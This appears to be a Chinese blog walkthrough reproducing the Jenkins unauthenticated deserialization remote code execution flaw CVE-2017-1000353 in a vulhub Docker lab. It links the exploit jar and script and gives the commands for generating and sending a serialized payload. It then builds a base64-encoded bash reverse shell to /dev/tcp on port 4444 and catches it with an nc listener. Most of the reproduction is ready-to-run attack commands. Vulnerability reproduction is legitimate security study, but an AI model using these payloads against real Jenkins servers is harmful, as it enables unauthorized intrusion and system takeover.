Jenkins-CI 远程代码执行漏洞复现(CVE-2017-1000353)

1. 漏洞描述

2. 漏洞复现

环境搭建(vulhub)

漏洞利用工具

复现步骤

反弹shell


1. 漏洞描述

​        CVE-2017-1000353 即 Jenkins 未授权远程代码执行漏洞,允许攻击者将序列化的 Java SignedObject 对象传输给 Jenkins CLI 处理,反序列化 ObjectInputStream 作为 Command 对象,这将绕过基于黑名单的保护机制, 导致代码执行。

        Jenkins 可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。 插件 通过更新中心中的 1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。 Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限

        该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,Jenkins利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。

影响范围:

​ Jenkins Version <=2.56

​ Jenkins LTS Version <= 2.46.1

2. 漏洞复现

环境搭建(vulhub):

1)进入漏洞目录

cd /root/vulhub/jenkins/CVE-2017-1000353

2)拉取环境进入靶场

docker-compose up -d

3)等待完全启动成功后,访问http://your-ip:8080即可看到jenkins已成功运行,无需手工安装。

漏洞利用工具:

CVE-2017-1000353-SNAPSHOT-all.jar

https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar

exploit.py

https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py

将下载好的工具放入对应的漏洞环境目录下

复现步骤:

1)生成序列化字符串

   使用 CVE-2017-1000353-SNAPSHOT-all.jar 生成执行反弹 shell 命令的字节码文件 jenkins_poc.ser ,该文件就是序列化字符串

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

# jenkins_poc.ser是生成的字节码文件名
# "touch ..."是待执行的任意命令

2)发送数据包,执行命令,使用 exploit.py 发送 jenkins_poc.ser 至 Jenkins

python exploit.py http://your-ip:8080 jenkins_poc.ser #将刚才生成的字节码文件发送给目标

3)进入容器,查看在运行容器的ID,通过 exec 命令对指定的容器执行 bash进入查看tmp目录下是否成功生成success文件 

docker ps
docker exec -it 082a8abee58f /bin/bash
cd /tmp
ls

发现/tmp/success成功被创建,说明命令执行漏洞利用成功

反弹shell

1)首先通过base64加密命令

bash -i >& /dev/tcp/192.128.52.162/4444 0>&1

2)生成序列化字符串

执行下面命令,生成字节码文件 p1.ser

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar p1.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjE2Mi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"

3)监听端口4444:

nc -lvp 4444

4)发送数据包,接收反弹shell

python3 exploit.py  http://192.168.52.162:8080/ p1.ser

查看监听情况,发现已经成功反弹shell

参考文章:

http://t.csdnimg.cn/BNYEV  Jenkins RCE 漏洞复现(CVE-2017-1000353、CVE-2018-1000861)

http://t.csdnimg.cn/rjrfo  Jenkins 远程代码执行漏洞(CVE-2017-1000353) 复现

Awesome-POC/中间件漏洞/Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353.md at 6748d107fac9abb95d1ecdb0362e7d456608bb98 · Threekiii/Awesome-POC · GitHub中间件漏洞/Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353.md

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值